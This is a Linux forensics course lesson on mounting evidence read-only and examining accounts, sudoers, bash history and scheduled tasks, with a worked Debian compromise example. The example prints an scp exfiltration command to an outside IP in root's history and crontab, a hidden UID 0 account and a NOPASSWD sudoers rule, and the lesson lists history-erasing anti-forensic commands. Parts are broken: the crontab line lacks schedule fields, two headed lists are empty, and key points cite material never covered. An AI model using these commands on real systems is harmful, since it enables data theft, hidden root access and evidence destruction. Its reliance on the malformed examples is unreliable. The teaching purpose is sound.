Linux: layout, users, shell history and scheduled tasks

A Linux system keeps almost everything an examiner needs as plain text files in well-known directories: who the accounts are, what the system is called, which software was installed, what users typed and what runs on a schedule. This lesson shows where those files are on a Debian-style server image, how to read them without altering the evidence, and what each one proves. Logs are covered in Lesson 6.4 and persistence in Lesson 6.5.

Reading an image without changing it

Work on a verified copy, expose an E01 with a tool such as ewfmount, and find the partition offset with mmls (start sector 2,048 × 512 = byte offset 1,048,576). Then mount the ext4 volume with mount -t ext4 -o ro,noexec,nodev,noload,offset=1048576 <image> /mnt/ev.

noexec and nodev stop programs and device files on the evidence from being used. noload matters most. If the server was imaged while running or after a crash, the superblock carries the needs_recovery flag, and the ext4 driver replays the journal at mount time even with ro, because ro applies to the mounted file system, not to the device. The replay writes metadata blocks into your image. If the device itself is read-only, the mount fails instead. noload tells ext4 not to load the journal, so nothing is written and you see the blocks exactly as imaged. The price is that the last committed transactions are not applied, so the view can be slightly stale; those transactions remain in the journal (Lesson 1.6).

Two traps follow from reading a foreign system with your own:

• ls -l shows owner names from your /etc/passwd. Use ls -ln for numeric UIDs and map them with the evidence's /etc/passwd.
• An absolute symbolic link such as /etc/localtime → /usr/share/zoneinfo/America/Sao_Paulo resolves on your workstation. Read the link target with ls -l or readlink instead of opening the file.

The Sleuth Kit avoids mounting altogether: fls -r lists names, istat shows an inode and icat extracts content by inode number.

On a live system you can run getent passwd, last, crontab -l -u <user>, atq and systemctl list-timers --all, but a compromised host may have replaced those binaries, and every command changes the system. Capture memory first (Lesson 5.1), then use a collector such as UAC (Unix-like Artifacts Collector), a shell script that copies artifact files and command output into a hashed archive. Plaso can then timeline the collection or the image.

The directory layout

The Filesystem Hierarchy Standard (FHS) fixes where things live on most distributions.

System identity

• /etc/os-release gives PRETTY_NAME, ID and VERSION_ID (on Debian it is often a symlink to /usr/lib/os-release; /etc/debian_version gives the point release).
• /etc/hostname holds the host name; /etc/hosts holds static name mappings. An added line redirecting a security vendor's or business domain is a finding.
• The time zone is the target of the /etc/localtime symlink, for example /usr/share/zoneinfo/America/Sao_Paulo. Debian-family systems may also have /etc/timezone, a one-line text copy; if they disagree, the C library uses /etc/localtime. You need this zone for every local-time log and for cron schedules.
• /etc/machine-id is 32 lowercase hex characters (128 bits) generated at installation. It names the journal directory /var/log/journal/<machine-id>/ and identifies the installation; cloned virtual machines can share it.
• Network configuration lives in /etc/network/interfaces (Debian ifupdown), /etc/netplan/*.yaml (Ubuntu since 17.10) or /etc/NetworkManager/system-connections/*.nmconnection (desktops; Wi-Fi SSIDs and, unless kept in a keyring, the psk= key).

Installed software

On Debian and Ubuntu, /var/log/dpkg.log records each action with a local-time stamp, for example 2026-03-14 08:20:51 install nmap:amd64 <none> 7.93+dfsg1-1. /var/log/apt/history.log groups each apt run into a block with Start-Date, Commandline, Requested-By (the sudo user and UID, when apt ran through sudo) and the package list; term.log keeps the terminal output. Both rotate (dpkg.log.1, dpkg.log.2.gz). /var/lib/dpkg/status is the current package state with no dates, and the modification time of /var/lib/dpkg/info/<package>.list approximates install time after the logs have rotated away.

On RHEL-family systems the database is /var/lib/rpm (rpmdb.sqlite on RHEL 9 and recent Fedora, Berkeley DB Packages on older releases). rpm -qa --last lists packages newest first with install times; against an image use rpm --dbpath <copy-of-var/lib/rpm> -qa --last. /var/log/dnf.log and dnf.rpm.log log transactions (/var/log/yum.log on RHEL 7).

Users, groups and privilege

/etc/passwd has seven colon-separated fields: name:x:UID:GID:GECOS:home:shell. The x means the hash is in /etc/shadow. The kernel checks only the number: any UID 0 account has full root privileges, whatever its name. System accounts use low UIDs (1–999 on Debian and RHEL 7 and later); regular users normally start at 1,000 (UID_MIN in /etc/login.defs). A shell of /usr/sbin/nologin or /bin/false blocks interactive login. New accounts are appended, so they are usually the last lines.

/etc/shadow has nine fields: name:hash:lastchg:min:max:warn:inactive:expire:reserved. The hash prefix names the algorithm: $1$ MD5, $5$ SHA-256, $6$ SHA-512 crypt, $y$ yescrypt (the default since Debian 11 and Ubuntu 22.04). A hash starting with ! is locked; * or ! alone means no password login. lastchg is the date of the last password change in days since 1970-01-01, with no time of day.

/etc/group is name:x:GID:members. Membership in sudo (Debian/Ubuntu) or wheel (RHEL) grants administrative rights through sudo; adm can read most of /var/log. Primary groups are not listed in the members field. /etc/sudoers and files in /etc/sudoers.d/ define the rules; a line such as backup2 ALL=(ALL) NOPASSWD: ALL deserves attention. sudo ignores files in that directory whose names contain a dot or end in ~.

Shell history and other home-directory artifacts

Bash keeps history in memory and writes ~/.bash_history when the shell exits: it appends if histappend is set (Debian's and Ubuntu's default .bashrc set it), otherwise it overwrites, then trims to HISTFILESIZE lines. Lines carry no time unless HISTTIMEFORMAT was set in that shell; bash then writes a comment line #<epoch> (Unix seconds, UTC) before each command, recording when the command was entered, not whether it succeeded. Shells exiting at different times leave blocks out of chronological order. Debian's and Ubuntu's .bashrc also set HISTCONTROL=ignoreboth, which drops commands typed with a leading space.

Absent or short history is itself a lead. unset HISTFILE, HISTFILE=/dev/null, HISTSIZE=0, set +o history, history -c, killing the shell with kill -9 $$, or ~/.bash_history being a symlink to /dev/null are anti-forensic indicators. Commands from shells still running at capture time can be recovered from memory with linux.bash (Lesson 5.2).

Other per-user files:

With HashKnownHosts yes (Debian's default client setting), each known_hosts entry starts with |1| followed by a salt and an HMAC-SHA1 of the host name, but you can test a candidate: ssh-keygen -F 198.51.100.23 -f known_hosts.

Scheduled tasks

• /etc/crontab and /etc/cron.d/* use six fields plus command: minute, hour, day of month, month, day of week, user, command.
• /etc/cron.hourly, cron.daily, cron.weekly, cron.monthly hold scripts run by run-parts (or anacron). Debian's run-parts skips names containing a dot, so sync.sh there never runs.
• User crontabs, edited with crontab -e, have no user field and live in /var/spool/cron/crontabs/<user> on Debian or /var/spool/cron/<user> on RHEL. Debian's crontab writes a header comment that normally states when the file was installed, in local time; the file's mtime records the same moment.
• at jobs are scripts in /var/spool/cron/atjobs (Debian) or /var/spool/at (RHEL), deleted after they run. The file name encodes the queue letter, job number and run time in hex minutes since 1970.
• systemd timers are *.timer units in /etc/systemd/system/ (and packaged ones in /usr/lib/systemd/system/), or per user in ~/.config/systemd/user/, enabled by a symlink in timers.target.wants/. Each triggers the .service of the same name by default. systemctl list-timers --all shows next and last runs live.

Cron interprets schedules in the system's local time zone.

Temporary and staging areas

Attackers stage archives and tools in /tmp, /var/tmp and /dev/shm, often in hidden names such as /tmp/.x. /dev/shm exists only in RAM, so a disk image never contains it; memory may. /tmp is a tmpfs on Debian 13 and Fedora, emptied at boot on Debian 12 and Ubuntu, and age-cleaned by systemd-tmpfiles rules elsewhere; /var/tmp survives reboots but is also age-cleaned on Debian 13 and other systems that use systemd's default tmpfiles rules (typically 30 days). Deleted entries may still be visible as described in Lesson 1.6.

Worked example: a Debian server

A standalone Debian 12 server; /etc/localtime points to /usr/share/zoneinfo/America/Sao_Paulo (UTC−3).

1. The last line of /etc/passwd is backup2:x:0:0:,,,:/home/backup2:/bin/bash. Debian already has a legitimate backup:x:34:34:...:/usr/sbin/nologin; this look-alike has UID 0 and a login shell, so it is a second root account.
2. /etc/shadow shows backup2:$y$j9T$...:20526:0:99999:7:::. lastchg 20,526 days × 86,400 = 1,773,446,400 s, which python3 -c "import datetime as d; print(d.date(1970,1,1)+d.timedelta(days=20526))" confirms as 2026-03-14. The password was set that UTC day; no time is recorded.
3. /root/.bash_history contains #1773486600 followed by scp /srv/data/clients.sql user@198.51.100.23:/tmp/. 1,773,486,600 − 1,773,446,400 = 40,200 s = 11 h 10 min, so 2026-03-14T11:10:00Z (08:10 local). This proves the command was entered in a root shell; whether the copy succeeded needs the SSH and network evidence of Lesson 6.4.
4. /var/spool/cron/crontabs/root contains 15 2 * scp /srv/data/clients.sql user@198.51.100.23:/tmp/ >/dev/null 2>&1. It repeats the transfer daily at 02:15 local, which is 05:15Z, with output discarded. Compare the header's install time and the file's mtime with the history.

Together: a hidden root account set up on 14 March, a manual exfiltration that morning and a scheduled repeat.

Question → file

Exam focus: Expect to convert a #<epoch> history line or a zsh : <epoch>: line to ISO 8601 UTC, convert a shadow lastchg value to a date, and identify a UID 0 account that is not root. You may also be asked why noload is needed, where Debian and RHEL store user crontabs, and why a missing or empty history file is significant.

Key points

• Mount ext4 evidence with ro,noexec,nodev,noload; ro alone can still replay a dirty journal into the image.
• Any UID 0 account is root; shadow lastchg is days since 1970 with no time of day; $y$ is yescrypt, $6$ SHA-512 crypt.
• Bash writes history at exit and stores #<epoch> lines only when HISTTIMEFORMAT was set; missing history is an anti-forensics lead.
• known_hosts shows outbound SSH; authorized_keys shows who may log in.
• Check every scheduler: /etc/crontab, /etc/cron.d, the cron.* directories, user crontabs, at jobs and systemd timers, and read schedules in the system's local time zone.